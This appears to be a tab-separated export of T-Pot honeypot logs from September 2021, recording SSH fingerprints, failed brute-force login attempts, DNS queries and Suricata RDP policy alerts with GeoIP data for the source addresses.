28683	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:18:58.079886+03	2021-09-20 14:30:03.156553+03	{"_id": "kAbuAnwBvYTbRNuENy_v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35050, "dest_port": 443, "timestamp": "2021-09-20T11:18:58.079886", "@timestamp": "2021-09-20T11:18:58.079Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28684	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:18:58.374247+03	2021-09-20 14:30:03.158553+03	{"_id": "nAbuAnwBvYTbRNuEOi-T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 8947, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 87443086947815, "@version": "1", "in_iface": "enp5s0", "src_port": 43305, "dest_port": 53, "timestamp": "2021-09-20T11:18:58.374247Z", "@timestamp": "2021-09-20T11:18:58.374Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28685	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:19:14.320626+03	2021-09-20 14:30:03.159554+03	{"_id": "uwbuAnwBvYTbRNuEdy9d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c5802a3e212d", "@version": "1", "timestamp": "2021-09-20T11:19:14.320626Z", "@timestamp": "2021-09-20T11:19:14.320Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28686	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:19:14.591038+03	2021-09-20 14:30:03.160555+03	{"_id": "vAbuAnwBvYTbRNuEdy9d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.login.failed", "message": "login attempt [jt/qwerty] failed", "session": "80d1e92edd65", "@version": "1", "password": "qwerty", "username": "jt", "timestamp": "2021-09-20T11:19:14.591038Z", "@timestamp": "2021-09-20T11:19:14.591Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28687	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:19:15.39988+03	2021-09-20 14:30:03.161555+03	{"_id": "vQbuAnwBvYTbRNuEey9F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [webmaster/passw0rd] failed", "session": "c5802a3e212d", "@version": "1", "password": "passw0rd", "username": "webmaster", "timestamp": "2021-09-20T11:19:15.399880Z", "@timestamp": "2021-09-20T11:19:15.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28688	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:19:16.665594+03	2021-09-20 14:30:03.162553+03	{"_id": "vwbuAnwBvYTbRNuEfy8u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c5802a3e212d", "@version": "1", "duration": 2.601569652557373, "timestamp": "2021-09-20T11:19:16.665594Z", "@timestamp": "2021-09-20T11:19:16.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28689	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:18:48.975211+03	2021-09-20 14:30:03.164553+03	{"_id": "hgbuAnwBvYTbRNuEFS-p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "1b06ab489e83", "@version": "1", "timestamp": "2021-09-20T11:18:48.975211Z", "@timestamp": "2021-09-20T11:18:48.975Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28690	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:18:50.644241+03	2021-09-20 14:30:03.165553+03	{"_id": "iAbuAnwBvYTbRNuEGS-S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "1b06ab489e83", "@version": "1", "duration": 1.7510199546813965, "timestamp": "2021-09-20T11:18:50.644241Z", "@timestamp": "2021-09-20T11:18:50.644Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28693	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:19:54.690502+03	2021-09-20 14:30:03.16956+03	{"_id": "SQbvAnwBvYTbRNuEFjCw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "117.22.230.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2126, "timestamp": "2021-09-20T11:19:54.690502", "@timestamp": "2021-09-20T11:19:54.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28694	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:19:54.965102+03	2021-09-20 14:30:03.170554+03	{"_id": "TAbvAnwBvYTbRNuEFzCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:19:54.965102Z", "@timestamp": "2021-09-20T11:19:54.965Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28695	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:19:57.7144+03	2021-09-20 14:30:03.172553+03	{"_id": "VgbvAnwBvYTbRNuEHzBs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 117.22.230.94:2127 (192.168.176.2:22) [session: b8891d9b8f28]", "session": "b8891d9b8f28", "@version": "1", "protocol": "ssh", "src_port": 2127, "dest_port": 22, "timestamp": "2021-09-20T11:19:57.714400Z", "@timestamp": "2021-09-20T11:19:57.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28696	117.22.230.94	109.199.241.180	Fatt	2021-09-20 14:19:57.994832+03	2021-09-20 14:30:03.173551+03	{"_id": "WQbvAnwBvYTbRNuEIjBq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2127, "dest_port": 22, "timestamp": "2021-09-20T11:19:57.994832", "@timestamp": "2021-09-20T11:19:57.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28697	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:19:57.995454+03	2021-09-20 14:30:03.174556+03	{"_id": "WgbvAnwBvYTbRNuEIzBW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b8891d9b8f28", "@version": "1", "timestamp": "2021-09-20T11:19:57.995454Z", "@timestamp": "2021-09-20T11:19:57.995Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28698	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:19:51.165871+03	2021-09-20 14:30:03.176554+03	{"_id": "IAbvAnwBvYTbRNuEBTDN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:49.813603+0000", "pkts_toclient": 2, "pkts_toserver": 3, "bytes_toclient": 132, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 178285943548451, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50021, "dest_port": 3389, "timestamp": "2021-09-20T11:19:51.165871Z", "@timestamp": "2021-09-20T11:19:51.165Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28699	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:19:51.165871+03	2021-09-20 14:30:03.177553+03	{"_id": "IwbvAnwBvYTbRNuEBjAP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:49.813603+0000", "pkts_toclient": 2, "pkts_toserver": 3, "bytes_toclient": 132, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 178285943548451, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50021, "dest_port": 3389, "timestamp": "2021-09-20T11:19:51.165871Z", "@timestamp": "2021-09-20T11:19:51.165Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
